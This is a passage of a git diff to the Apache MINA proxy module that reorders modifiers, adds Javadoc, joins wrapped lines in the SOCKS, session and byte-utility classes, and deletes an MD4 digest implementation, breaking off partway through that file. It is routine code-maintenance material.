V4_REPLY_REQUEST_FAILED_ID_NOT_CONFIRMED = 0x5d; /** * SOCKS v5 server reply codes. */ - public final static byte V5_REPLY_SUCCEEDED = 0x00; + /** Success */ + public static final byte V5_REPLY_SUCCEEDED = 0x00; - public final static byte V5_REPLY_GENERAL_FAILURE = 0x01; + /** General failure */ + public static final byte V5_REPLY_GENERAL_FAILURE = 0x01; - public final static byte V5_REPLY_NOT_ALLOWED = 0x02; + /** Not allowed */ + public static final byte V5_REPLY_NOT_ALLOWED = 0x02; - public final static byte V5_REPLY_NETWORK_UNREACHABLE = 0x03; + /** Network unreachable */ + public static final byte V5_REPLY_NETWORK_UNREACHABLE = 0x03; - public final static byte V5_REPLY_HOST_UNREACHABLE = 0x04; + /** Host unreachable */ + public static final byte V5_REPLY_HOST_UNREACHABLE = 0x04; - public final static byte V5_REPLY_CONNECTION_REFUSED = 0x05; + /** Connection refused */ + public static final byte V5_REPLY_CONNECTION_REFUSED = 0x05; - public final static byte V5_REPLY_TTL_EXPIRED = 0x06; + /** TTL expired */ + public static final byte V5_REPLY_TTL_EXPIRED = 0x06; - public final static byte V5_REPLY_COMMAND_NOT_SUPPORTED = 0x07; + /** Command not supported */ + public static final byte V5_REPLY_COMMAND_NOT_SUPPORTED = 0x07; - public final static byte V5_REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 0x08; + /** Address type not supported */ + public static final byte V5_REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 0x08; - /** - * SOCKS v5 address types. - */ - public final static byte IPV4_ADDRESS_TYPE = 0x01; + /** IPV4 address types */ + public static final byte IPV4_ADDRESS_TYPE = 0x01; - public final static byte DOMAIN_NAME_ADDRESS_TYPE = 0x03; + /** Domain name address type */ + public static final byte DOMAIN_NAME_ADDRESS_TYPE = 0x03; - public final static byte IPV6_ADDRESS_TYPE = 0x04; + /** IPV6 address type */ + public static final byte IPV6_ADDRESS_TYPE = 0x04; /** * SOCKS v5 handshake steps. */ - public final static int SOCKS5_GREETING_STEP = 0; + /** Greeting step */ + public static final int SOCKS5_GREETING_STEP = 0; - public final static int SOCKS5_AUTH_STEP = 1; + /** Authentication step */ + public static final int SOCKS5_AUTH_STEP = 1; - public final static int SOCKS5_REQUEST_STEP = 2; + /** Request step */ + public static final int SOCKS5_REQUEST_STEP = 2; /** * SOCKS v5 authentication methods. */ - public final static byte NO_AUTH = 0x00; + /** No authentication */ + public static final byte NO_AUTH = 0x00; - public final static byte GSSAPI_AUTH = 0x01; + /** GSSAPI authentication */ + public static final byte GSSAPI_AUTH = 0x01; - public final static byte BASIC_AUTH = 0x02; + /** Basic authentication */ + public static final byte BASIC_AUTH = 0x02; - public final static byte NO_ACCEPTABLE_AUTH_METHOD = (byte) 0xFF; + /** Non acceptable method authentication */ + public static final byte NO_ACCEPTABLE_AUTH_METHOD = (byte) 0xFF; - public final static byte[] SUPPORTED_AUTH_METHODS = new byte[] { NO_AUTH, - GSSAPI_AUTH, BASIC_AUTH }; + /** Supported authentication methods */ + public static final byte[] SUPPORTED_AUTH_METHODS = new byte[] { NO_AUTH, GSSAPI_AUTH, BASIC_AUTH }; - public final static byte BASIC_AUTH_SUBNEGOTIATION_VERSION = 0x01; + /** Basic authentication subnegociation version */ + public static final byte BASIC_AUTH_SUBNEGOTIATION_VERSION = 0x01; - public final static byte GSSAPI_AUTH_SUBNEGOTIATION_VERSION = 0x01; + /** GSSAPI authentication subnegociation version */ + public static final byte GSSAPI_AUTH_SUBNEGOTIATION_VERSION = 0x01; - public final static byte GSSAPI_MSG_TYPE = 0x01; + /** GSSAPI message type */ + public static final byte GSSAPI_MSG_TYPE = 0x01; /** * Kerberos providers OID's. - */ - public final static String KERBEROS_V5_OID = "1.2.840.113554.1.2.2"; + */ + /** Kerberos V5 OID */ + public static final String KERBEROS_V5_OID = "1.2.840.113554.1.2.2"; - public final static String MS_KERBEROS_V5_OID = "1.2.840.48018.1.2.2"; + /** Microsoft Kerberos V5 OID */ + public static final String MS_KERBEROS_V5_OID = "1.2.840.48018.1.2.2"; /** * Microsoft NTLM security support provider. - */ - public final static String NTLMSSP_OID = "1.3.6.1.4.1.311.2.2.10"; + */ + public static final String NTLMSSP_OID = "1.3.6.1.4.1.311.2.2.10"; + private SocksProxyConstants() { + } + /** * Return the string associated with the specified reply code. * * @param code the reply code * @return the reply string */ - public final static String getReplyCodeAsString(byte code) { + public static final String getReplyCodeAsString(byte code) { switch (code) { // v4 & v4a codes case V4_REPLY_REQUEST_GRANTED: @@ -155,7 +189,7 @@ public final static String getReplyCodeAsString(byte code) { case V4_REPLY_REQUEST_FAILED_ID_NOT_CONFIRMED: return "Request failed because client's identd could not confirm the user ID string in the request"; - // v5 codes + // v5 codes case V5_REPLY_SUCCEEDED: return "Request succeeded"; case V5_REPLY_GENERAL_FAILURE: diff --git a/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/SocksProxyRequest.java b/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/SocksProxyRequest.java index 46b636f033..f2b8bf2d0e 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/SocksProxyRequest.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/handlers/socks/SocksProxyRequest.java @@ -74,8 +74,7 @@ public class SocksProxyRequest extends ProxyRequest { * @param endpointAddress the endpoint address * @param userName the user name */ - public SocksProxyRequest(byte protocolVersion, byte commandCode, - InetSocketAddress endpointAddress, String userName) { + public SocksProxyRequest(byte protocolVersion, byte commandCode, InetSocketAddress endpointAddress, String userName) { super(endpointAddress); this.protocolVersion = protocolVersion; this.commandCode = commandCode; @@ -90,8 +89,7 @@ public SocksProxyRequest(byte protocolVersion, byte commandCode, * @param port the server port * @param userName the user name */ - public SocksProxyRequest(byte commandCode, String host, int port, - String userName) { + public SocksProxyRequest(byte commandCode, String host, int port, String userName) { this.protocolVersion = SocksProxyConstants.SOCKS_VERSION_4; this.commandCode = commandCode; this.userName = userName; @@ -100,17 +98,15 @@ public SocksProxyRequest(byte commandCode, String host, int port, } /** - * Returns the endpoint address resulting from the {@link #getEndpointAddress()}. + * @return the endpoint address resulting from the {@link #getEndpointAddress()}. * If not set, it will return the {@link SocksProxyConstants#FAKE_IP} constant * value which will be ignored in a SOCKS v4 request. - * - * @return the endpoint address */ public byte[] getIpAddress() { if (getEndpointAddress() == null) { return SocksProxyConstants.FAKE_IP; } - + return getEndpointAddress().getAddress().getAddress(); } @@ -121,8 +117,7 @@ public byte[] getIpAddress() { */ public byte[] getPort() { byte[] port = new byte[2]; - int p = (getEndpointAddress() == null ? this.port - : getEndpointAddress().getPort()); + int p = (getEndpointAddress() == null ? this.port : getEndpointAddress().getPort()); port[1] = (byte) p; port[0] = (byte) (p >> 8); return port; @@ -163,8 +158,8 @@ public String getUserName() { public synchronized final String getHost() { if (host == null) { InetSocketAddress adr = getEndpointAddress(); - - if ( adr != null && !adr.isUnresolved()) { + + if (adr != null && adr.isUnresolved()) { host = getEndpointAddress().getHostName(); } } diff --git a/mina-core/src/main/java/org/apache/mina/proxy/session/ProxyIoSession.java b/mina-core/src/main/java/org/apache/mina/proxy/session/ProxyIoSession.java index b619f6d43e..1eecb3c0ab 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/session/ProxyIoSession.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/session/ProxyIoSession.java @@ -40,11 +40,10 @@ * @since MINA 2.0.0-M3 */ public class ProxyIoSession { + /** The proxy session name */ + public static final String PROXY_SESSION = ProxyConnector.class.getName() + ".ProxySession"; - public final static String PROXY_SESSION = ProxyConnector.class.getName() - + ".ProxySession"; - - private final static String DEFAULT_ENCODING = "ISO-8859-1"; + private static final String DEFAULT_ENCODING = "ISO-8859-1"; /** * The list contains the authentication methods to use. @@ -117,14 +116,14 @@ public ProxyIoSession(InetSocketAddress proxyAddress, ProxyRequest request) { } /** - * Returns the pending event queue. + * @return the pending event queue. */ public IoSessionEventQueue getEventQueue() { return eventQueue; } - + /** - * Returns the list of the prefered order for the authentication methods. + * @return the list of the prefered order for the authentication methods. * This list is used by the {@link HttpSmartProxyHandler} to determine * which authentication mechanism to use first between those accepted by the * proxy server. This list is only used when connecting to an http proxy. @@ -143,7 +142,7 @@ public void setPreferedOrder(List preferedOrder) { } /** - * Returns the {@link ProxyLogicHandler} currently in use. + * @return the {@link ProxyLogicHandler} currently in use. */ public ProxyLogicHandler getHandler() { return handler; @@ -159,7 +158,7 @@ public void setHandler(ProxyLogicHandler handler) { } /** - * Returns the {@link ProxyFilter}. + * @return the {@link ProxyFilter}. */ public ProxyFilter getProxyFilter() { return proxyFilter; @@ -177,7 +176,7 @@ public void setProxyFilter(ProxyFilter proxyFilter) { } /** - * Returns the proxy request. + * @return the proxy request. */ public ProxyRequest getRequest() { return request; @@ -197,7 +196,7 @@ private void setRequest(ProxyRequest request) { } /** - * Returns the current {@link IoSession}. + * @return the current {@link IoSession}. */ public IoSession getSession() { return session; @@ -215,7 +214,7 @@ public void setSession(IoSession session) { } /** - * Returns the proxy connector. + * @return the proxy connector. */ public ProxyConnector getConnector() { return connector; @@ -233,7 +232,7 @@ public void setConnector(ProxyConnector connector) { } /** - * Returns the IP address of the proxy server. + * @return the IP address of the proxy server. */ public InetSocketAddress getProxyAddress() { return proxyAddress; @@ -253,7 +252,7 @@ private void setProxyAddress(InetSocketAddress proxyAddress) { } /** - * Returns true if the current authentication process is not finished + * @return true if the current authentication process is not finished * but the server has closed the connection. */ public boolean isReconnectionNeeded() { @@ -275,14 +274,14 @@ public void setReconnectionNeeded(boolean reconnectionNeeded) { } /** - * Returns a charset instance of the in use charset name. + * @return a charset instance of the in use charset name. */ public Charset getCharset() { return Charset.forName(getCharsetName()); } /** - * Returns the used charset name or {@link #DEFAULT_ENCODING} if null. + * @return the used charset name or DEFAULT_ENCODING if null. */ public String getCharsetName() { if (charsetName == null) { @@ -302,7 +301,7 @@ public void setCharsetName(String charsetName) { } /** - * Returns true if authentication failed. + * @return true if authentication failed. */ public boolean isAuthenticationFailed() { return authenticationFailed; diff --git a/mina-core/src/main/java/org/apache/mina/proxy/session/ProxyIoSessionInitializer.java b/mina-core/src/main/java/org/apache/mina/proxy/session/ProxyIoSessionInitializer.java index 15a5beefc5..78116a38fd 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/session/ProxyIoSessionInitializer.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/session/ProxyIoSessionInitializer.java @@ -27,27 +27,40 @@ * ProxyIoSessionInitializer.java - {@link IoSessionInitializer} wrapper class to inject the * {@link ProxyIoSession} object that contains all the attributes of the target connection * into the {@link IoSession}. + * + * @param The Connection Future type * * @author Apache MINA Project * @since MINA 2.0.0-M3 */ -public class ProxyIoSessionInitializer implements - IoSessionInitializer { +public class ProxyIoSessionInitializer implements IoSessionInitializer { private final IoSessionInitializer wrappedSessionInitializer; private final ProxyIoSession proxyIoSession; - public ProxyIoSessionInitializer( - final IoSessionInitializer wrappedSessionInitializer, + /** + * Creates a new ProxyIoSessionInitializer instance + * + * @param wrappedSessionInitializer The wrapped session initializer + * @param proxyIoSession The ProxyIoSession instance + */ + public ProxyIoSessionInitializer(final IoSessionInitializer wrappedSessionInitializer, final ProxyIoSession proxyIoSession) { this.wrappedSessionInitializer = wrappedSessionInitializer; this.proxyIoSession = proxyIoSession; } + /** + * @return The ProxyIoSession instance + */ public ProxyIoSession getProxySession() { return proxyIoSession; } + /** + * {@inheritDoc} + */ + @Override public void initializeSession(final IoSession session, T future) { if (wrappedSessionInitializer != null) { wrappedSessionInitializer.initializeSession(session, future); diff --git a/mina-core/src/main/java/org/apache/mina/proxy/utils/ByteUtilities.java b/mina-core/src/main/java/org/apache/mina/proxy/utils/ByteUtilities.java index 099b4414a9..6d076ce23a 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/utils/ByteUtilities.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/utils/ByteUtilities.java @@ -20,6 +20,7 @@ package org.apache.mina.proxy.utils; import java.io.UnsupportedEncodingException; +import java.nio.charset.StandardCharsets; /** * ByteUtilities.java - Byte manipulation functions. @@ -28,19 +29,20 @@ * @since MINA 2.0.0-M3 */ public class ByteUtilities { - + private ByteUtilities(){ + } + /** * Returns the integer represented by up to 4 bytes in network byte order. * * @param buf the buffer to read the bytes from - * @param start - * @param count - * @return + * @param start The starting position + * @param count The number of bytes to in the buffer + * @return the integer value */ public static int networkByteOrderToInt(byte[] buf, int start, int count) { if (count > 4) { - throw new IllegalArgumentException( - "Cannot handle more than 4 bytes"); + throw new IllegalArgumentException("Cannot handle more than 4 bytes"); } int result = 0; @@ -63,10 +65,10 @@ public static int networkByteOrderToInt(byte[] buf, int start, int count) { public static byte[] intToNetworkByteOrder(int num, int count) { byte[] buf = new byte[count]; intToNetworkByteOrder(num, buf, 0, count); - + return buf; } - + /** * Encodes an integer into up to 4 bytes in network byte order in the * supplied buffer starting at start offset and writing @@ -77,11 +79,9 @@ public static byte[] intToNetworkByteOrder(int num, int count) { * @param start the offset from beginning for the write operation * @param count the number of reserved bytes for the write operation */ - public static void intToNetworkByteOrder(int num, byte[] buf, int start, - int count) { + public static void intToNetworkByteOrder(int num, byte[] buf, int start, int count) { if (count > 4) { - throw new IllegalArgumentException( - "Cannot handle more than 4 bytes"); + throw new IllegalArgumentException("Cannot handle more than 4 bytes"); } for (int i = count - 1; i >= 0; i--) { @@ -94,8 +94,9 @@ public static void intToNetworkByteOrder(int num, byte[] buf, int start, * Write a 16 bit short as LITTLE_ENDIAN. * * @param v the short to write + * @return the Short in a byte[] */ - public final static byte[] writeShort(short v) { + public static final byte[] writeShort(short v) { return writeShort(v, new byte[2], 0); } @@ -106,8 +107,9 @@ public final static byte[] writeShort(short v) { * @param v the short to write * @param b the byte array to write to * @param offset the offset at which to start writing in the array + * @return the Short in a byte[] */ - public final static byte[] writeShort(short v, byte[] b, int offset) { + public static final byte[] writeShort(short v, byte[] b, int offset) { b[offset] = (byte) v; b[offset + 1] = (byte) (v >> 8); @@ -118,8 +120,9 @@ public final static byte[] writeShort(short v, byte[] b, int offset) { * Write a 32 bit int as LITTLE_ENDIAN. * * @param v the int to write + * @return the Int in a byte[] */ - public final static byte[] writeInt(int v) { + public static final byte[] writeInt(int v) { return writeInt(v, new byte[4], 0); } @@ -130,8 +133,9 @@ public final static byte[] writeInt(int v) { * @param v the int to write * @param b the byte array to write to * @param offset the offset at which to start writing in the array + * @return the Int in a byte[] */ - public final static byte[] writeInt(int v, byte[] b, int offset) { + public static final byte[] writeInt(int v, byte[] b, int offset) { b[offset] = (byte) v; b[offset + 1] = (byte) (v >> 8); b[offset + 2] = (byte) (v >> 16); @@ -143,15 +147,14 @@ public final static byte[] writeInt(int v, byte[] b, int offset) { /** * Invert the endianness of words (4 bytes) in the given byte array * starting at the given offset and repeating length/4 times. - * eg: b0b1b2b3 -> b3b2b1b0 + * eg: b0b1b2b3 -> b3b2b1b0 * * @param b the byte array * @param offset the offset at which to change word start * @param length the number of bytes on which to operate * (should be a multiple of 4) */ - public final static void changeWordEndianess(byte[] b, int offset, - int length) { + public static final void changeWordEndianess(byte[] b, int offset, int length) { byte tmp; for (int i = offset; i < offset + length; i += 4) { @@ -167,15 +170,14 @@ public final static void changeWordEndianess(byte[] b, int offset, /** * Invert two bytes in the given byte array starting at the given * offset and repeating the inversion length/2 times. - * eg: b0b1 -> b1b0 + * eg: b0b1 -@gt; b1b0 * * @param b the byte array * @param offset the offset at which to change word start * @param length the number of bytes on which to operate * (should be a multiple of 2) */ - public final static void changeByteEndianess(byte[] b, int offset, - int length) { + public static final void changeByteEndianess(byte[] b, int offset, int length) { byte tmp; for (int i = offset; i < offset + length; i += 2) { @@ -191,11 +193,10 @@ public final static void changeByteEndianess(byte[] b, int offset, * * @param s the string to convert * @return the result byte array - * @throws UnsupportedEncodingException if the string is not an OEM string + * @throws UnsupportedEncodingException Never thrown. */ - public final static byte[] getOEMStringAsByteArray(String s) - throws UnsupportedEncodingException { - return s.getBytes("ASCII"); + public static final byte[] getOEMStringAsByteArray(String s) throws UnsupportedEncodingException { + return s.getBytes(StandardCharsets.US_ASCII); } /** @@ -203,11 +204,10 @@ public final static byte[] getOEMStringAsByteArray(String s) * * @param s the string to convert * @return the result byte array - * @throws UnsupportedEncodingException if the string is not an UTF-16LE string - */ - public final static byte[] getUTFStringAsByteArray(String s) - throws UnsupportedEncodingException { - return s.getBytes("UTF-16LE"); + * @throws UnsupportedEncodingException Never thrown. + */ + public static final byte[] getUTFStringAsByteArray(String s) throws UnsupportedEncodingException { + return s.getBytes(StandardCharsets.UTF_16LE); } /** @@ -220,8 +220,7 @@ public final static byte[] getUTFStringAsByteArray(String s) * @return the encoded string as a byte array * @throws UnsupportedEncodingException if encoding fails */ - public final static byte[] encodeString(String s, boolean useUnicode) - throws UnsupportedEncodingException { + public static final byte[] encodeString(String s, boolean useUnicode) throws UnsupportedEncodingException { if (useUnicode) { return getUTFStringAsByteArray(s); } @@ -274,8 +273,7 @@ public static String asHex(byte[] bytes, String separator) { public static byte[] asByteArray(String hex) { byte[] bts = new byte[hex.length() / 2]; for (int i = 0; i < bts.length; i++) { - bts[i] = (byte) Integer.parseInt(hex.substring(2 * i, 2 * i + 2), - 16); + bts[i] = (byte) Integer.parseInt(hex.substring(2 * i, 2 * i + 2), 16); } return bts; @@ -285,8 +283,7 @@ public static byte[] asByteArray(String hex) { * Reads an int from 4 bytes of the given array at offset 0. * * @param b the byte array to read - * @param offset the offset at which to start - * @return the int value + * @return the integer value */ public static final int makeIntFromByte4(byte[] b) { return makeIntFromByte4(b, 0); @@ -300,8 +297,7 @@ public static final int makeIntFromByte4(byte[] b) { * @return the int value */ public static final int makeIntFromByte4(byte[] b, int offset) { - return b[offset] << 24 | (b[offset + 1] & 0xff) << 16 - | (b[offset + 2] & 0xff) << 8 | (b[offset + 3] & 0xff); + return b[offset] << 24 | (b[offset + 1] & 0xff) << 16 | (b[offset + 2] & 0xff) << 8 | (b[offset + 3] & 0xff); } /** @@ -329,11 +325,11 @@ public static final int makeIntFromByte2(byte[] b, int offset) { * Returns true if the flag testFlag is set in the * flags flagset. * - * @param flagset the flagset to test + * @param flagSet the flagset to test * @param testFlag the flag we search the presence of * @return true if testFlag is present in the flagset, false otherwise. */ - public final static boolean isFlagSet(int flagSet, int testFlag) { + public static final boolean isFlagSet(int flagSet, int testFlag) { return (flagSet & testFlag) > 0; } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/utils/IoBufferDecoder.java b/mina-core/src/main/java/org/apache/mina/proxy/utils/IoBufferDecoder.java index 83c9029f33..2a865d68cd 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/utils/IoBufferDecoder.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/utils/IoBufferDecoder.java @@ -20,7 +20,6 @@ package org.apache.mina.proxy.utils; import org.apache.mina.core.buffer.IoBuffer; -import org.apache.mina.core.session.IoSession; import org.apache.mina.filter.codec.textline.LineDelimiter; /** @@ -50,10 +49,10 @@ public class DecodingContext { private IoBuffer delimiter; /** - * The currently matched bytes of the delimiter. + * The number of matched delimiters. */ private int matchCount = 0; - + /** * Holds the current content length of decoded data if in * content-length mode. @@ -69,34 +68,67 @@ public void reset() { decodedBuffer = null; } + /** + * @return The current content length of decoded data if in + * content-length mode. + */ public int getContentLength() { return contentLength; } + /** + * Sets the content-length + * + * @param contentLength current content length of decoded data + */ public void setContentLength(int contentLength) { this.contentLength = contentLength; } + /** + * @return The number of matched delimiters. + */ public int getMatchCount() { return matchCount; } + /** + * Sets the match count + * + * @param matchCount The number of matched delimiters. + */ public void setMatchCount(int matchCount) { this.matchCount = matchCount; } + /** + * @return The decoded data + */ public IoBuffer getDecodedBuffer() { return decodedBuffer; } + /** + * Sets the decoded data buffer + * + * @param decodedBuffer The decoded data + */ public void setDecodedBuffer(IoBuffer decodedBuffer) { this.decodedBuffer = decodedBuffer; } + /** + * @return The delimiter + */ public IoBuffer getDelimiter() { return delimiter; } + /** + * Sets the delimiter + * + * @param delimiter The delimiter + */ public void setDelimiter(IoBuffer delimiter) { this.delimiter = delimiter; } @@ -108,7 +140,7 @@ public void setDelimiter(IoBuffer delimiter) { private DecodingContext ctx = new DecodingContext(); /** - * Creates a new instance that uses specified delimiter byte array as a + * Creates a new instance that uses specified delimiter byte array as a * message delimiter. * * @param delimiter an array of characters which delimits messages @@ -118,7 +150,7 @@ public IoBufferDecoder(byte[] delimiter) { } /** - * Creates a new instance that will read messages of contentLength bytes. + * Creates a new instance that will read messages of contentLength bytes. * * @param contentLength the exact length to read */ @@ -130,15 +162,14 @@ public IoBufferDecoder(int contentLength) { * Sets the the length of the content line to be decoded. * When set, it overrides the dynamic delimiter setting and content length * method will be used for decoding on the next decodeOnce call. - * The default value is -1. + * The default value is -1. * * @param contentLength the content length to match * @param resetMatchCount delimiter matching is reset if true */ public void setContentLength(int contentLength, boolean resetMatchCount) { if (contentLength <= 0) { - throw new IllegalArgumentException("contentLength: " - + contentLength); + throw new IllegalArgumentException("contentLength: " + contentLength); } ctx.setContentLength(contentLength); @@ -149,8 +180,8 @@ public void setContentLength(int contentLength, boolean resetMatchCount) { /** * Dynamically sets a new delimiter. Next time - * {@link IoBufferDecoder#decodeOnce(IoSession, int) } will be called it will use the new - * delimiter. Delimiter matching is reset only if resetMatchCount is true but + * {@link #decodeFully(IoBuffer)} will be called it will use the new + * delimiter. Delimiter matching is reset only if resetMatchCount is true but * decoding will continue from current position. * * NB : Delimiter {@link LineDelimiter#AUTO} is not allowed. @@ -182,6 +213,7 @@ public void setDelimiter(byte[] delim, boolean resetMatchCount) { * all the data and the trailing delimiter. * * @param in the data to decode + * @return The decoded buffer */ public IoBuffer decodeFully(IoBuffer in) { int contentLength = ctx.getContentLength(); @@ -192,8 +224,7 @@ public IoBuffer decodeFully(IoBuffer in) { // Retrieve fixed length content if (contentLength > -1) { if (decodedBuffer == null) { - decodedBuffer = IoBuffer.allocate(contentLength).setAutoExpand( - true); + decodedBuffer = IoBuffer.allocate(contentLength).setAutoExpand(true); } // If not enough data to complete the decoding @@ -223,8 +254,10 @@ public IoBuffer decodeFully(IoBuffer in) { while (in.hasRemaining()) { byte b = in.get(); + if (delimiter.get(matchCount) == b) { matchCount++; + if (matchCount == delimiter.limit()) { // Found a match. int pos = in.position(); @@ -233,8 +266,7 @@ public IoBuffer decodeFully(IoBuffer in) { in.limit(pos); if (decodedBuffer == null) { - decodedBuffer = IoBuffer.allocate(in.remaining()) - .setAutoExpand(true); + decodedBuffer = IoBuffer.allocate(in.remaining()).setAutoExpand(true); } decodedBuffer.put(in); diff --git a/mina-core/src/main/java/org/apache/mina/proxy/utils/MD4.java b/mina-core/src/main/java/org/apache/mina/proxy/utils/MD4.java deleted file mode 100644 index cc123059b7..0000000000 --- a/mina-core/src/main/java/org/apache/mina/proxy/utils/MD4.java +++ /dev/null @@ -1,339 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.proxy.utils; - -import java.security.DigestException; -import java.security.MessageDigestSpi; - -/** - * MD4.java - An implementation of Ron Rivest's MD4 message digest algorithm. - * The MD4 algorithm is designed to be quite fast on 32-bit machines. In - * addition, the MD4 algorithm does not require any large substitution - * tables. - * - * @see The MD4 Message- - * Digest Algorithm by R. Rivest. - * - * @author Apache MINA Project - * @since MINA 2.0.0-M3 - */ -public class MD4 extends MessageDigestSpi { - - /** - * The MD4 algorithm message digest length is 16 bytes wide. - */ - public static final int BYTE_DIGEST_LENGTH = 16; - - /** - * The MD4 algorithm block length is 64 bytes wide. - */ - public static final int BYTE_BLOCK_LENGTH = 64; - - /** - * The initial values of the four registers. RFC gives the values - * in LE so we converted it as JAVA uses BE endianness. - */ - private final static int A = 0x67452301; - - private final static int B = 0xefcdab89; - - private final static int C = 0x98badcfe; - - private final static int D = 0x10325476; - - /** - * The four registers initialized with the above IVs. - */ - private int a = A; - - private int b = B; - - private int c = C; - - private int d = D; - - /** - * Counts the total length of the data being digested. - */ - private long msgLength; - - /** - * The internal buffer is {@link BLOCK_LENGTH} wide. - */ - private final byte[] buffer = new byte[BYTE_BLOCK_LENGTH]; - - /** - * Default constructor. - */ - public MD4() { - // Do nothing - } - - /** - * Returns the digest length in bytes. - * - * @return the digest length in bytes. - */ - protected int engineGetDigestLength() { - return BYTE_DIGEST_LENGTH; - } - - /** - * {@inheritDoc} - */ - protected void engineUpdate(byte b) { - int pos = (int) (msgLength % BYTE_BLOCK_LENGTH); - buffer[pos] = b; - msgLength++; - - // If buffer contains enough data then process it. - if (pos == (BYTE_BLOCK_LENGTH - 1)) { - process(buffer, 0); - } - } - - /** - * {@inheritDoc} - */ - protected void engineUpdate(byte[] b, int offset, int len) { - int pos = (int) (msgLength % BYTE_BLOCK_LENGTH); - int nbOfCharsToFillBuf = BYTE_BLOCK_LENGTH - pos; - int blkStart = 0; - - msgLength += len; - - // Process each full block - if (len >= nbOfCharsToFillBuf) { - System.arraycopy(b, offset, buffer, pos, nbOfCharsToFillBuf); - process(buffer, 0); - for (blkStart = nbOfCharsToFillBuf; blkStart + BYTE_BLOCK_LENGTH - - 1 < len; blkStart += BYTE_BLOCK_LENGTH) { - process(b, offset + blkStart); - } - pos = 0; - } - - // Fill buffer with the remaining data - if (blkStart < len) { - System.arraycopy(b, offset + blkStart, buffer, pos, len - blkStart); - } - } - - /** - * {@inheritDoc} - */ - protected byte[] engineDigest() { - byte[] p = pad(); - engineUpdate(p, 0, p.length); - byte[] digest = { (byte) a, (byte) (a >>> 8), (byte) (a >>> 16), - (byte) (a >>> 24), (byte) b, (byte) (b >>> 8), - (byte) (b >>> 16), (byte) (b >>> 24), (byte) c, - (byte) (c >>> 8), (byte) (c >>> 16), (byte) (c >>> 24), - (byte) d, (byte) (d >>> 8), (byte) (d >>> 16), - (byte) (d >>> 24) }; - - engineReset(); - - return digest; - } - - /** - * {@inheritDoc} - */ - protected int engineDigest(byte[] buf, int offset, int len) - throws DigestException { - if (offset < 0 || offset + len >= buf.length) { - throw new DigestException( - "Wrong offset or not enough space to store the digest"); - } - int destLength = Math.min(len, BYTE_DIGEST_LENGTH); - System.arraycopy(engineDigest(), 0, buf, offset, destLength); - return destLength; - } - - /** - * {@inheritDoc} - */ - protected void engineReset() { - a = A; - b = B; - c = C; - d = D; - msgLength = 0; - } - - /** - * Pads the buffer by appending the byte 0x80, then append as many zero - * bytes as necessary to make the buffer length a multiple of 64 bytes. - * The last 8 bytes will be filled with the length of the buffer in bits. - * If there's no room to store the length in bits in the block i.e the block - * is larger than 56 bytes then an additionnal 64-bytes block is appended. - * - * @see sections 3.1 & 3.2 of the RFC 1320. - * - * @return the pad byte array - */ - private byte[] pad() { - int pos = (int) (msgLength % BYTE_BLOCK_LENGTH); - int padLength = (pos < 56) ? (64 - pos) : (128 - pos); - byte[] pad = new byte[padLength]; - - // First bit of the padding set to 1 - pad[0] = (byte) 0x80; - - long bits = msgLength << 3; - int index = padLength - 8; - for (int i = 0; i < 8; i++) { - pad[index++] = (byte) (bits >>> (i << 3)); - } - - return pad; - } - - /** - * Process one 64-byte block. Algorithm is constituted by three rounds. - * Note that F, G and H functions were inlined for improved performance. - * - * @param in the byte array to process - * @param offset the offset at which the 64-byte block is stored - */ - private void process(byte[] in, int offset) { - // Save previous state. - int aa = a; - int bb = b; - int cc = c; - int dd = d; - - // Copy the block to process into X array - int[] X = new int[16]; - for (int i = 0; i < 16; i++) { - X[i] = (in[offset++] & 0xff) | (in[offset++] & 0xff) << 8 - | (in[offset++] & 0xff) << 16 | (in[offset++] & 0xff) << 24; - } - - // Round 1 - a += ((b & c) | (~b & d)) + X[0]; - a = a << 3 | a >>> (32 - 3); - d += ((a & b) | (~a & c)) + X[1]; - d = d << 7 | d >>> (32 - 7); - c += ((d & a) | (~d & b)) + X[2]; - c = c << 11 | c >>> (32 - 11); - b += ((c & d) | (~c & a)) + X[3]; - b = b << 19 | b >>> (32 - 19); - a += ((b & c) | (~b & d)) + X[4]; - a = a << 3 | a >>> (32 - 3); - d += ((a & b) | (~a & c)) + X[5]; - d = d << 7 | d >>> (32 - 7); - c += ((d & a) | (~d & b)) + X[6]; - c = c << 11 | c >>> (32 - 11); - b += ((c & d) | (~c & a)) + X[7]; - b = b << 19 | b >>> (32 - 19); - a += ((b & c) | (~b & d)) + X[8]; - a = a << 3 | a >>> (32 - 3); - d += ((a & b) | (~a & c)) + X[9]; - d = d << 7 | d >>> (32 - 7); - c += ((d & a) | (~d & b)) + X[10]; - c = c << 11 | c >>> (32 - 11); - b += ((c & d) | (~c & a)) + X[11]; - b = b << 19 | b >>> (32 - 19); - a += ((b & c) | (~b & d)) + X[12]; - a = a << 3 | a >>> (32 - 3); - d += ((a & b) | (~a & c)) + X[13]; - d = d << 7 | d >>> (32 - 7); - c += ((d & a) | (~d & b)) + X[14]; - c = c << 11 | c >>> (32 - 11); - b += ((c & d) | (~c & a)) + X[15]; - b = b << 19 | b >>> (32 - 19); - - // Round 2 - a += ((b & (c | d)) | (c & d)) + X[0] + 0x5a827999; - a = a << 3 | a >>> (32 - 3); - d += ((a & (b | c)) | (b & c)) + X[4] + 0x5a827999; - d = d << 5 | d >>> 